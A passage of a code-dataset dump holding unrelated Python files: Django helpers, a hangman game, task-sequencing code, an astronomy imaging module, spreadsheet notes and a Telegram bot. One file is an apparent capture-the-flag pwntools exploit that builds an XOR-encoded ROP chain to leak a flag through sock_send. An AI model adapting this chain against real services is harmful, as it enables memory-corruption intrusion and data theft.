EphemeralObject(object):\n\n    \"\"\"Object that initializes attributes from a dict.\"\"\"\n\n    def __init__(self, values_dict):\n        if 'pk' not in values_dict:\n            raise Exception('\"pk\" key is required')\n        self.__dict__.update(values_dict)\n\n\nclass DynamicEphemeralSerializer(\n    WithDynamicSerializerMixin,\n    serializers.Serializer\n):\n\n    \"\"\"DREST-compatible baseclass for non-model serializers.\"\"\"\n\n    def to_representation(self, instance):\n        \"\"\"\n        Provides post processing. Sub-classes should implement their own\n        to_representation method, but pass the resulting dict through\n        this function to get tagging and field selection.\n\n        Arguments:\n            instance: Serialized dict, or object. If object,\n                it will be serialized by the super class's\n                to_representation() method.\n        \"\"\"\n\n        if not isinstance(instance, dict):\n            data = super(\n                DynamicEphemeralSerializer,\n                self\n            ).to_representation(instance)\n        else:\n            data = instance\n            instance = EphemeralObject(data)\n\n        if self.id_only():\n            return data\n        else:\n            return tag_dict(data, serializer=self, instance=instance)\n","sub_path":"dynamic_rest/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":41555,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"351580661","text":"# coding: utf-8\nfrom django.core.mail import send_mass_mail\nfrom django.conf import settings\n\nmessage = {\n    \"contact\": '''\\\nBonjour,\n\nVotre commentaire sur le site www.uxperiment.fr a bien été pris en compte.\n\nNous vous remercions de votre participation.\n\nA bientôt,\n\nL'équipe UXperiment\n''',\n    \"suggest\": '''\\\nBonjour,\n\nVotre proposition de site internet sur le site www.uxperiment.fr a bien été pris en compte.\n\nNous vous remercions de votre participation.\n\nA bientôt,\n\nL'équipe UXperiment\n''',\n}\n\ndef send_message(confirm, data):\n    send_mass_mail((build_user_email(confirm, data['sender']), \n        build_admin_email(confirm, data)))\n\ndef build_user_email(confirm, recipient):\n    \"\"\" Build user message in form of send_mail \"\"\"\n    text = message[confirm]\n    if confirm == 'suggest':\n        subject = 'Confirmation de votre proposition sur UXperiment'\n    if confirm == 'contact':\n        subject = 'Commentaire sur UXperiment'\n    if confirm == 'signin':\n        subject = 'Confirmation d\\'inscription sur UXperiment'\n\n    return subject, text, settings.EMAIL_HOST_USER, [recipient]\n\ndef build_admin_email(confirm, data):\n    \"\"\" Build admin message in form of send_mail \"\"\"\n    if confirm == 'suggest':\n        subject = 'Nouvelle proposition de site sur UXperiment'\n        text = 'L\\'utilisateur : %s, vient de proposer le site %s'\\\n        % (data['username'], data['website'])\n\n    if confirm == 'contact':\n        subject = 'Nouveau contact sur UXperiment'\n        text = '''\\\nEmail : %s\nSujet : %s\nMessage :\n%s''' % (data['sender'], data['subject'], data['message'])\n\n    return subject, text, settings.EMAIL_HOST_USER, [settings.EMAIL_RECIPIENT]\n","sub_path":"uxperiment/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1676,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"642200765","text":"def dodawanie(a: int, b: int):\n    print(\"Wynik dodawania tych dwóch liczb to:\",a+b)\n    print(\"Świetna aplikacja dodająca\")\n    print(\"To jest funkcja\")\n\nx = input(\"Podaj pierwszą liczbę do dodania: \")\ny = input(\"Podaj drugi składki sumy: \")\n\ndodawanie(x,y)\ndodawanie(y,x)","sub_path":"25Funkcje.py","file_name":"25Funkcje.py","file_ext":"py","file_size_in_byte":279,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"285249829","text":"import smach\nfrom smach_bt.task import Task\nfrom smach_bt.container import ContainerTask\n\nclass SequentialTask(ContainerTask):\n    def __init__(self, stop_result, continue_result, label=None, input_keys=[], output_keys=[], io_keys=[]):\n        ContainerTask.__init__(self, label=label, input_keys=input_keys, output_keys=output_keys, io_keys=io_keys)\n        self._initial_task_idx = 0\n        self._active_task_idx = None\n        self._stop_result = stop_result\n        self._continue_result = continue_result\n        self._preempt_requested = False\n                \n    def try_immediate(self, userdata=None):\n        if userdata is None:\n            userdata = smach.UserData()\n        \n        # With lock\n        with self._lock:\n            assert(self._runstate == Task.IDLE)\n            assert(self._active_task_idx is None)\n            \n            (result, self._active_task_idx) = self._loop(self._initial_task_idx, userdata)\n            \n            if result == Task.DEFERRED:\n                self._runstate = Task.READY\n            else:\n                assert(self._active_task_idx == None)\n                self._runstate = Task.IDLE\n            \n        return result\n\n    def execute_deferred(self, parent_cb, userdata=None):\n        if userdata is None:\n            userdata = smach.UserData()\n        \n        with self._lock:\n            assert(self._runstate == Task.READY)\n            self._runstate = Task.EXECUTING\n            self._parent_cb = parent_cb\n            self._execute_deferred_child(self._active_task_idx, self._make_cb(self._active_task_idx), userdata)\n            \n    def cancel(self):\n        with self._lock:\n            assert(self._runstate == Task.READY)\n            assert(self._active_task_idx is not None)\n            self._tasks[self._active_task_idx].cancel()\n            self._runstate = Task.IDLE\n            self._active_task_idx = None\n    \n    def preempt(self):\n        # With lock\n        with self._lock:\n            # States we can be in when lock is taken/released:\n            # Task.IDLE && _active_task_idx is None\n            # Task.READY && _active_task_idx is not None\n            # Task.EXECUTING && _active_task_idx is not None\n            \n            if self._runstate == Task.READY:\n                assert(self._active_task_idx is not None)\n                self.cancel()\n                # preemption complete\n            elif self._runstate == Task.EXECUTING:\n                assert(self._active_task_idx is not None)\n                self._tasks[self._active_task_idx].preempt()\n                self._preempt_requested = True\n                # preemption deferred until callback\n            else:\n                assert(self._runstate == Task.IDLE)\n                assert(self._active_task_idx is None)\n                # preemption complete\n            \n    # Returns (result, final_idx)\n    def _loop(self, initial_idx, userdata):\n        # self._lock should be locked by calling function.\n        # We will stop as soon as any task returns DEFERRED\n        # Caller should then call execute_deferred() on that task\n        idx = initial_idx\n        while idx < len(self._tasks):\n            # If self._active_task_idx is not None and initial_idx <= self._active_task_idx,\n            # then this _loop call is coming from the timer thread and has reached the active task.\n            if idx == self._active_task_idx:\n                return (None, idx)\n            \n            result = self._try_immediate_child(idx, userdata)\n        \n            if result == Task.DEFERRED:\n                return (Task.DEFERRED, idx)\n                    \n            if result == self._continue_result:\n                idx += 1\n                continue\n            \n            if result == self._stop_result:\n                return (self._stop_result, None)\n        \n        return (self._continue_result, None)\n\n    def _make_cb(self, idx):\n        def cb(result, userdata):\n            self._task_termination_cb(result, idx, userdata)\n        return cb\n\n    def _task_termination_cb(self, result, task_idx, userdata):\n        cb = None\n        # With lock\n        with self._lock:\n            assert(result != Task.DEFERRED)\n            assert(0 <= task_idx and task_idx < len(self._tasks))\n            # _active_task_idx might not be the same as the task_idx of the task\n            # that just completed, if we were preempted by a timer callback in\n            # PreemptingSequenceTask.\n            \n            cb = self._parent_cb\n            \n            if self._preempt_requested:\n                self._runstate = Task.IDLE\n                self._active_task_idx = None\n                self._preempt_requested = False\n                result = Task.ABORTED\n            else:\n                if result == self._continue_result:\n                    (result, self._active_task_idx) = self._loop(self._active_task_idx + 1, userdata)\n\n                if result == Task.DEFERRED:\n                    self._execute_deferred_child(self._active_task_idx, self._make_cb(self._active_task_idx), userdata)\n                else:\n                    self._runstate = Task.IDLE\n                    self._active_task_idx = None\n            \n        # Without lock\n        if result != Task.DEFERRED:\n            cb(result, userdata)\n            \n    def _add_active_tasks_recursive(self, label_for_task, active_tasks):\n        with self._lock:\n            if self._active_task_idx is not None:\n                active_task = self._tasks[self._active_task_idx]\n                active_tasks.append(label_for_task[active_task])\n                active_task._add_active_tasks_recursive(label_for_task, active_tasks)\n            ","sub_path":"src/smach_bt/sequential.py","file_name":"sequential.py","file_ext":"py","file_size_in_byte":5673,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"470352258","text":"def hangman():\r\n    import random\r\n    \r\n    word_list = ['word', 'letter', 'number', 'person', 'pen', 'class',\r\n                 'people', 'sound', 'water', 'side', 'place', 'man', 'men',\r\n                 'woman', 'women', 'boy', 'girl', 'year', 'day', 'week', 'month',\r\n                 'name', 'sentence', 'line', 'air', 'land', 'home', 'hand', 'house',\r\n                 'picture', 'animal', 'mother', 'father', 'brother', 'sister', 'world',\r\n                 'head', 'page', 'country', 'question', 'answer', 'school', 'plant', 'food',\r\n                 'sun', 'state', 'eye', 'city', 'tree', 'farm', 'story', 'sea', 'night', 'day',\r\n                 'life', 'north', 'south', 'east', 'west', 'child', 'children', 'example', 'paper',\r\n                 'music', 'river', 'car', 'foot', 'feet', 'book', 'science', 'room', 'friend', 'idea',\r\n                 'fish', 'mountain', 'horse', 'watch', 'color', 'face', 'wood', 'list', 'bird', 'body',\r\n                 'dog', 'family', 'song', 'door', 'product', 'wind', 'ship', 'area', 'rock', 'order', 'fire',\r\n                 'problem', 'piece', 'top', 'bottom', 'king', 'space']\r\n\r\n    stages = ['',\r\n              '--------        ',\r\n              '|       |       ',\r\n              '|       |       ',\r\n              '|       0       ',\r\n              '|      /|)      ',\r\n              '|      //       ',\r\n              '|               '\r\n              ]\r\n\r\n    print ('Welcom to Hangman')\r\n\r\n    while True:\r\n        word = random.choice(word_list)\r\n        wrong = 0\r\n        rletters = list(word)\r\n        board = ['__']*len(word)\r\n    \r\n        while True:\r\n            if '__' not in board:\r\n                    print(f'\\nYou win! It was: {word}')\r\n                    break\r\n            print('\\n')\r\n            char = input('Guess a letter: ')\r\n            if char in rletters:\r\n                cind = rletters.index(char)\r\n                board[cind] = char\r\n                rletters[cind] = '$'\r\n                print(' '.join(board))\r\n            elif char == 'hint':\r\n                i = board.index('__')\r\n                char = rletters[i]\r\n                board[i] = char\r\n                rletters[i] = '$'\r\n                print(' '.join(board))\r\n            else:\r\n                wrong += 1\r\n                print(' '.join(board))\r\n                print('\\n'.join(stages[:wrong+1]))\r\n                if wrong == len(stages) -1:\r\n                    print(f'You lose! It was: {word}')\r\n                    break\r\n\r\n        if input('again? (y/n):') == 'n':\r\n            break\r\n        \r\nhangman()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"hangman.py","file_name":"hangman.py","file_ext":"py","file_size_in_byte":2688,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"107457234","text":"import discord\nimport utils\nfrom libs import imgp\n\n\nasync def run(client, message, args, prefix, db):\n    if len(args) == 0:\n        user_dc = message.author\n\n    else:\n        user_dc = utils.get_user(message.guild, args[0])\n        if not user_dc: raise Exception(f\"Üye '{args[0]}' bulunamadı\")\n\n    await imgp.profil_yap(user_dc, db[user_dc], db)\n\n    await message.channel.send(file=discord.File(f\"data/profile.png\"))\n","sub_path":"commands/profil.py","file_name":"profil.py","file_ext":"py","file_size_in_byte":424,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"118432060","text":"# -*- coding:utf-8 -*-\n## -*- coding:gbk-*-只是申明文件编码，程序还是unicode，在python3中可以直接str.encode(\"指定编码\")\n#转码步骤：先将字符串转成unicode，再转成其他的类型,python3中encode的同时，将str转成bytes了，最后要显示字符串，还需要用str 对应的编码decode\n\n\n\ns = \"你好\" #依旧是unicode\n#s_to_unicode = s.decode('utf-8') #unicode类型不能decode()\ns_to_gbk = s.encode(\"gbk\")\n\nprint(s_to_gbk)\ngbk_to_unicode = s_to_gbk.decode(\"gbk\").encode(\"utf-8\").decode(\"utf-8\")\n#为什么要encode(\"utf-8\").decode(\"utf-8\")才能显示中文？这个版本都是先转成二进制,再转成字符串？\nprint(gbk_to_unicode)","sub_path":"day3/encode_decode_unicode_utf-8.py","file_name":"encode_decode_unicode_utf-8.py","file_ext":"py","file_size_in_byte":690,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"650901933","text":"# -*- coding: utf-8 -*-\n\"\"\"\nFresco creates a \"simulated observation\" of a set of particles.\nParticles can be \"stars\" (point sources emitting light) or \"gas\" (emitting,\nreflecting and/or obscuring light). Gas may also be displayed with contour\nlines.\n\"\"\"\n\nfrom __future__ import (\n    print_function,\n    division,\n    absolute_import,\n)\n\nimport numpy as np\n\nfrom scipy.ndimage import gaussian_filter\n\nfrom amuse.units import units, constants, nbody_system\nfrom amuse.datamodel import Particles\nfrom amuse.io import read_set_from_file\nfrom amuse.datamodel.rotation import rotate\n\nimport matplotlib.pyplot as plt\n\nfrom amuse.ext.fresco.ubvi import rgb_frame\nfrom amuse.ext.fresco.fieldstars import new_field_stars\n\n\ndef evolve_to_age(stars, age, stellar_evolution=\"SeBa\"):\n    \"Evolve stars to specified age with specified code\"\n    if stellar_evolution == \"SeBa\":\n        from amuse.community.seba.interface import SeBa\n        stellar_evolution = SeBa()\n    elif stellar_evolution == \"SSE\":\n        from amuse.community.sse.interface import SSE\n        stellar_evolution = SSE()\n        # SSE can result in nan values for luminosity/radius\n    else:\n        raise \"No such stellar evolution code %s or no code specified\" % (\n            stellar_evolution\n        )\n    stellar_evolution.particles.add_particles(stars)\n    if age > 0 | units.yr:\n        stellar_evolution.evolve_model(age)\n    stars.luminosity = np.nan_to_num(\n        stellar_evolution.particles.luminosity.value_in(units.LSun)\n    ) | units.LSun\n\n    stars.radius = stellar_evolution.particles.radius\n    # prevent zero/nan radius.\n    x = np.where(\n        np.nan_to_num(\n            stars.radius.value_in(units.RSun)\n        ) == 0.\n    )\n    stars[x].radius = 0.01 | units.RSun\n\n    stellar_evolution.stop()\n    return\n\n\ndef calculate_effective_temperature(luminosity, radius):\n    temp = np.nan_to_num(\n        (\n            (\n                luminosity\n                / (\n                    constants.four_pi_stefan_boltzmann\n                    * radius**2\n                )\n            )**.25\n        ).value_in(units.K)\n    ) | units.K\n    return temp\n\n\ndef make_image(\n        stars=None,\n        gas=None,\n        converter=None,\n        image_width=[\n            10. | units.parsec,\n            10. | units.parsec,\n        ],\n        image_size=[1024, 1024],\n        percentile=0.9995,\n        age=0. | units.Myr,\n        sourcebands=\"ubvri\",\n        vmax=None,\n        calc_temperature=True,\n        mapper_code=None,  # \"FiMap\"\n        zoom_factor=1.0,\n        psf_type=\"hubble\",\n        psf_sigma=1.0,\n        extinction=False,\n        return_vmax=False,\n):\n    \"\"\"\n    Makes image from gas and stars\n    \"\"\"\n    mode=[]\n    if gas is not None:\n        mode.append(\"gas\")\n    if stars is not None:\n        mode.append(\"stars\")\n    if mode == []:\n        return\n\n    if extinction:\n        # Extinction can currently only be handled with FiMap\n        mapper_code = \"FiMap\"\n\n    if mapper_code == \"FiMap\":\n        def mapper():\n            from amuse.community.fi.interface import FiMap\n            mapper = FiMap(converter, mode=\"openmp\")\n\n            # mapper.parameters.minimum_distance = 1. | units.AU\n            mapper.parameters.image_size = image_size\n            # mapper.parameters.image_target = image_target\n\n            mapper.parameters.image_width = image_width\n            # mapper.parameters.projection_direction = (\n            #         (image_target-viewpoint)\n            #         / (image_target-viewpoint).length()\n            #         )\n            # mapper.parameters.projection_mode = projection\n            # mapper.parameters.image_angle = horizontal_angle\n            # mapper.parameters.viewpoint = viewpoint\n            mapper.parameters.extinction_flag = extinction\n            return mapper\n    else:\n        # Gridify as default\n        mapper = None\n        mapper_code = \"gridify\"\n\n    if \"stars\" not in mode:\n        image = column_density_map(\n            gas,\n            image_width=image_width,\n            image_size=image_size,\n            mapper_factory=mapper,\n            mapper_code=mapper_code,\n            zoom_factor=zoom_factor,\n            psf_type=psf_type,\n            psf_sigma=psf_sigma,\n            return_vmax=return_vmax,\n        )\n    else:\n        image = image_from_stars(\n            stars,\n            image_width=image_width,\n            image_size=image_size,\n            percentile=percentile,\n            calc_temperature=calc_temperature,\n            age=age,\n            sourcebands=sourcebands,\n            gas=gas,\n            vmax=vmax,\n            mapper_factory=mapper,\n            mapper_code=mapper_code,\n            zoom_factor=zoom_factor,\n            psf_type=psf_type,\n            psf_sigma=psf_sigma,\n            return_vmax=return_vmax,\n        )\n    return image\n\n\ndef column_density_map(\n        gas,\n        image_width=10. | units.parsec,\n        image_size=[1024, 1024],\n        mapper_factory=None,\n        mapper_code=None,\n        zoom_factor=1.0,\n        psf_type=\"gaussian\",\n        psf_sigma=10.0,\n        return_vmax=False,\n):\n    if mapper_code == \"FiMap\":\n        if callable(mapper_factory):\n            mapper = mapper_factory()\n\n        p = mapper.particles.add_particles(gas)\n        p.weight = gas.mass.value_in(units.amu)\n        projected = mapper.image.pixel_value\n        mapper.stop()\n        im = gaussian_filter(\n            projected,\n            sigma=psf_sigma * zoom_factor,\n            order=0,\n        )\n    else:\n        from amuse.ext.fresco.gridify import map_to_grid\n        gas_in_mapper = gas.copy()\n        gas_in_mapper.weight = gas_in_mapper.mass.value_in(units.amu)\n        raw_image = map_to_grid(\n            gas_in_mapper.x,\n            gas_in_mapper.y,\n            weights=gas_in_mapper.weight,\n            image_size=image_size,\n            image_width=image_width,\n        )\n        im = gaussian_filter(\n            raw_image,\n            sigma=psf_sigma * zoom_factor,\n            order=0,\n        ).T\n    if return_vmax:\n        return (im, -1)\n    return im\n\n\ndef image_from_stars(\n        stars,\n        image_width=10. | units.parsec,\n        image_size=[1024, 1024],\n        percentile=0.9995,\n        calc_temperature=True,\n        age=0. | units.Myr,\n        sourcebands=\"ubvri\",\n        gas=None,\n        vmax=None,\n        mapper_factory=None,\n        mapper_code=None,\n        zoom_factor=1.0,\n        psf_type=\"hubble\",\n        psf_sigma=1.0,\n        return_vmax=False,\n):\n    if calc_temperature:\n        # calculates the temperature of the stars from their total luminosity\n        # and radius, calculates those first if needed\n        stars.temperature = calculate_effective_temperature(\n            stars.luminosity,\n            stars.radius,\n        )\n\n    vmax, rgb = rgb_frame(\n        stars,\n        dryrun=False,\n        image_width=image_width,\n        vmax=vmax,\n        multi_psf=False,  # True,\n        image_size=image_size,\n        percentile=percentile,\n        sourcebands=sourcebands,\n        mapper_factory=mapper_factory,\n        gas=gas,\n        mapper_code=mapper_code,\n        zoom_factor=zoom_factor,\n        psf_type=psf_type,\n        psf_sigma=psf_sigma,\n    )\n    if return_vmax:\n        return rgb['pixels'], vmax\n    return rgb['pixels']\n\n\ndef initialise_image(\n        fig=None,\n        dpi=150,\n        image_size=[2048, 2048],\n        length_unit=units.parsec,\n        image_width=5 | units.parsec,\n        plot_axes=True,\n        subplot=0,\n        x_offset=0 | units.parsec,\n        y_offset=0 | units.parsec,\n        z_offset=0 | units.parsec,\n):\n    if fig is None:\n        if plot_axes:\n            left = 0.2\n            bottom = 0.2\n        else:\n            left = 0.\n            bottom = 0.\n        right = 1.0\n        top = 1.0\n        figwidth = image_size[0] / dpi / (right - left)\n        figheight = image_size[1] / dpi / (top - bottom)\n        figsize = (figwidth, figheight)\n\n        xmin = x_offset.value_in(length_unit) - 0.5 * image_width.value_in(length_unit)\n        xmax = x_offset.value_in(length_unit) + 0.5 * image_width.value_in(length_unit)\n        ymin = y_offset.value_in(length_unit) - 0.5 * image_width.value_in(length_unit)\n        ymax = y_offset.value_in(length_unit) + 0.5 * image_width.value_in(length_unit)\n\n        fig, ax = plt.subplots(nrows=1, ncols=1, figsize=figsize, dpi=dpi)\n        fig.subplots_adjust(left=left, right=right, top=top, bottom=bottom)\n\n        ax.set_xlim([xmin, xmax])\n        ax.set_ylim([ymin, ymax])\n    else:\n        # Simply clear and re-use the old figure\n        ax = fig.get_axes()[subplot]\n        ax.cla()\n    ax.set_xlabel(\"X (%s)\" % (length_unit))\n    ax.set_ylabel(\"Y (%s)\" % (length_unit))\n    ax.set_aspect(1)\n    ax.spines['top'].set_visible(False)\n    ax.spines['right'].set_visible(False)\n    ax.spines['bottom'].set_visible(False)\n    ax.spines['left'].set_visible(False)\n    ax.set_facecolor('black')\n    return fig\n","sub_path":"src/amuse/ext/fresco/fresco.py","file_name":"fresco.py","file_ext":"py","file_size_in_byte":8960,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"168589577","text":"# coding: utf-8\n\nimport openpyxl\n\nwbook = openpyxl.Workbook()\nsheet = wbook.create_sheet('sheet1',0)# 新建工作表（表名，位置）\nfor sheet in wbook: #遍历工作表\n    print(sheet.title)\nprint(wbook.sheetnames) #工作表名\nsheet = wbook['Sheet'] # 按名字获取工作表\nsheet2 = wbook.worksheets[0] # 按顺序获取工作表\nsheet.title = 'new_sheet' # 更改表名\nwbook.remove(wbook.worksheets[0]) #删除工作表\n\nprint(sheet.max_row,sheet.max_column) # 工作表最大行列\ntableHead = ['序号', '姓名', '身份证', '档次', '账号', '已交月份']\nfor i in tableHead:\n    sheet.cell(1, tableHead.index(i) + 1).value = i # 表头\nsheet.append([]) #插入空白行\nsheet.append(tableHead) #插入数据行\ndata = [[1,2,3],[4,5,6]] # 按行填充数据\nfor x in data:\n    sheet.append(x)\n\nsheet['A4'] = 4 #给第4行第A列的单元格赋值为4\nsheet.cell(row=4, column=2, value=10) #给第4行第2列的单元格赋值为10\nsheet.cell(4, 2, 10) #同上\ncell = sheet.cell(4,2)\ncell.value = 'hello, world'\nprint(sheet.cell(4,2).value)\n\n\n# 遍历值\nfor row in sheet.values:\n   for value in row:\n     print(value)\nfor row in sheet.iter_rows(min_row=1, max_col=3, max_row=2):\n        for cell in row:\n            print(cell)\n\n# 获取单元格类型，如果是常规，显示general,如果是数字，显示'0.00_ '，如果是百分数显示0%\n# 数字需要在Excel中设置数字类型，直接写入的数字是常规类型\nprint(sheet[\"A4\"].number_format)\n#公式，打印的是公式内容，不是公式计算后的值,程序无法取到计算后的值\nsheet[\"A5\"] = \"=SUM(A1:A3)\"\nprint(sheet[\"A4\"].value)\n#合并后的单元格，脚本单独执行拆分操作会报错，需要重新执行合并操作再拆分\nsheet.merge_cells('A2:D2')\nsheet.unmerge_cells('A2:D2')\n#在第7行之上插入一行\nsheet.insert_rows(7)\n#从第6列开始，删除3列，即删除6、7、8列，如下：\nsheet.delete_cols(6, 3)\n\n# 字体样式\nfrom openpyxl.styles import Font\nfont = Font(name='Calibri',\n            size=11,\n            color='FF000000',\n            bold=False,\n            italic=False,\n            vertAlign=None,\n            underline='none',\n            strike=False)\nsheet['A1'].font = font\n# 填充样式\nfrom openpyxl.styles import PatternFill\n# fill_type 的样式为 None 或 solid\ncell.fill = PatternFill(fill_type=cell.fill.fill_type, fgColor=cell.fill.fgColor)\nfrom openpyxl.styles import Border, Side\n# 边框样式\nborder = Border(left=Side(border_style=None, color='FF000000'),\n                right=Side(border_style=None, color='FF000000'),\n                top=Side(border_style=None, color='FF000000'),\n                bottom=Side(border_style=None, color='FF000000'),\n                diagonal=Side(border_style=None, color='FF000000'),\n                diagonal_direction=0,\n                outline=Side(border_style=None, color='FF000000'),\n                vertical=Side(border_style=None, color='FF000000'),\n                horizontal=Side(border_style=None, color='FF000000')\n)\n# 对齐 horizontal 的值有：distributed, justify, center, left, fill, centerContinuous, right, general\n# vertical 的值有：bottom, distributed, justify, center, top\nfrom openpyxl.styles import Alignment\nalignment=Alignment(horizontal='general',\n                    vertical='bottom',\n                    text_rotation=0,\n                    wrap_text=False,\n                    shrink_to_fit=False,\n                    indent=0)\n# 整行或整列应用样式\n# 合并的单元格可以想象成左上角的单元格来操作。\ncol = sheet.column_dimensions['A']\ncol.font = Font(bold=True)\nrow = sheet.row_dimensions[1]\nrow.font = Font(underline=\"single\")\n\nwbook.save('../resource/OpenPyxlTest.xlsx')","sub_path":"jingle/test/OpenPyxlTest.py","file_name":"OpenPyxlTest.py","file_ext":"py","file_size_in_byte":3742,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"342408590","text":"#!/usr/bin/python\n\nfrom pwn import *\n\n\n\nconn = remote('localhost', 1337)\n\n# this builds a reliable chain of calls to func_b2\n# just to get us to a stable starting point\npayload = \"\\x80\\x90\\x14\\x90\\x14\\x90\\x14\\xf1\"\n# in function func_b2, count is 68, bufsize is 0x84\n# in function func_36, count is 67, bufsize is 0x94\n# in function func_b2, count is 66, bufsize is 0x84\n# in function func_b2, count is 65, bufsize is 0x84\n# in function func_b2, count is 64, bufsize is 0x84\n# in function func_b2, count is 63, bufsize is 0x84\n# in function func_13, count is 62, bufsize is 0x08\n\n# This has the net effect of xoring the local buffer\n# with 0x00 i.e do nothing. Stack Ninja!!\nnulls = '\\x10'*(6*4 + 1) \n\n# we need to know the current saved eip \n# so that we know what to xor it with\nsaved_eip = 0x804e06c\nzor = 0x10101010\n\n# going to call sock_send\n# int sock_send(int sockfd, char *buf, size_t length);\n# sock_send(4, &flag_loc, 256);\nsock_send = 0x080487db\nflag_loc = 0x805b6c0\nsock_fd = 4\npops = 0x805454d #stackCleaning pop esi; pop edi; pop ebp; ret\nexit_plt = 0x8048600 #0x0805b604 <got address woops\neip_pop = p32(saved_eip ^ zor ^ pops)\n\nchain = payload + nulls + eip_pop \nchain += p32(zor)+p32(zor)+p32(zor)#+p32(zor)\n# chain += p32(zor ^ 0x00000025)\nchain += p32(sock_send ^ zor)\nchain += p32(zor)\nchain += p32(sock_fd ^ zor ^ 0xe1000000)\nchain += p32(flag_loc ^ zor) \nchain += p32(0xff ^ zor) # length\n# chain += p32(exit_plt ^ zor)\n# chain += p32(0x00000000 ^ zor)\n\nwith open(\"payload.txt\", 'w+') as f:\n\tf.write(chain)\n\nconn.sendline(chain)\n\n# conn.recv(1000)\nconn.interactive()\n\n\n","sub_path":"The_Good_Stuff/rhino/RinoxChallenge/exploit.py","file_name":"exploit.py","file_ext":"py","file_size_in_byte":1590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"94399038","text":"\"\"\"Check if userbot alive. If you change these, you become the gayest gay such that even the gay world will disown you.\"\"\"\n#IMG CREDITS: @WhySooSerious\nimport asyncio\nfrom telethon import events\nfrom uniborg.util import admin_cmd\nfrom userbot import ALIVE_NAME\nfrom telethon.tl.types import ChannelParticipantsAdmins\nDEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else \"Unknown\"\nPM_IMG = \"https://telegra.ph/file/4161fabad95cc63d78a64.png\"\npm_caption = \"**🎊 Congratulazioni! 🎉**\\n\"\npm_caption += \"Non avevo mai letto così tante pagliacciate in una volta sola e ho deciso di conferirti un riconoscimento..\\n\\n\"\npm_caption += \"**SEI UFFICIALMENTE UN NUOVO PAGLIACCIO DI NAZLAND! 🤡**\"\n\n@borg.on(admin_cmd(\"nazclown\"))\nasync def friday(nazclown):\n    chat = await nazclown.get_chat()\n    \"\"\" For .alive command, check if the bot is running.  \"\"\"\n    await borg.send_file(nazclown.chat_id, PM_IMG,caption=pm_caption)\n    await nazclown.delete()\n\n    \n@borg.on(admin_cmd(pattern=r\"nazclown\", allow_sudo=True))\nasync def friday(nazclown):\n    chat = await nazclown.get_chat()\n    \"\"\" For .alive command, check if the bot is running.  \"\"\"\n    await borg.send_file(nazclown.chat_id, PM_IMG,caption=pm_caption)\n","sub_path":"userbot/plugins/nazclown.py","file_name":"nazclown.py","file_ext":"py","file_size_in_byte":1208,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"507642029","text":"from nfa import *\nfrom state import *\nfrom transition import *\n\nclass Base(object):\n\n\t#constructor: \tconstructos new regx or character\n\t#argument:\tregx; possible expression\n\t#argument:\tchar; possible base character a, b or e\n\t#only one argument may be valid.\n\tdef __init__(self, regx, char):\n\t\tself.regx = regx\n\t\tself.char = char\n\n\t#recursively evaluate the regx or character into a single nfa\n\tdef eval(self):\n\t\tif (self.regx != None):\n\t\t\tbase_nfa = self.regx.eval()\n\t\tif (self.char != None):\n\t\t\tbase_start = State()\n\t\t\tbase_start.set_state(True, False)\n\n\t\t\tbase_final = State()\n\t\t\tbase_final.set_state(False, True)\n\t\n\t\t\tbase_transition = Transition(self.char, base_final)\n\t\n\t\t\tbase_start.add_transition(base_transition)\n\t\n\t\t\tbase_nfa = NFA(base_start, base_final)\n\t\n\t\treturn base_nfa\n","sub_path":"base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":786,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"126654369","text":"import cv2\nimport numpy as np\n\nframe_scale = 1.5\nycl = 27\nych = 662\nxcl = 68\nxch = 700\n\n# get xy from centroids\ndef getControl():\n    centroid_from_Picture()\n    #cen = centroid_from_Picture()\n    return xy_from_centroid(1)\n\n\noffset = 94.5\n\n\n# captures picture and processes centroids\ndef centroid_from_Picture():\n    cap = cv2.VideoCapture(0)\n    ret, frame = cap.read()\n    cap.release()\n    #frame = cv2.imread('picture.png')\n    frame = cv2.resize(frame, None, fx = frame_scale, fy = frame_scale )\n    frame = frame[ ycl:ych, xcl:xch ]\n    blur = cv2.GaussianBlur( frame, (5,5), 0 )\n\n    img = frame\n    hsv = cv2.cvtColor(blur, cv2.COLOR_BGR2HSV)\n    shapes = getShapes(frame, hsv)\n\n    # centroids = getCentroids(shapes, gray)\n    # centroids = getCentroids2(shapes,frame)\n    getCentroids2( shapes, frame )\n    # return centroids\n\n\n# should be tuples of (\n# color (String),\n# lower bound (array), upper bound (array) )\n#colors = [('red', np.array([177, 76, 92]), np.array([255, 255, 255])),\n #         ('blue', np.array([52, 58, 77]), np.array([130, 255, 255])),\n  #        ('yellow', np.array([19, 57, 108]), np.array([87, 255, 255])),\n   #       ('yellow', np.array([19, 57, 108]), np.array([87, 255, 255])),\n    #      ('brown', np.array([150, 47, 43]), np.array([180, 143, 88])),\n     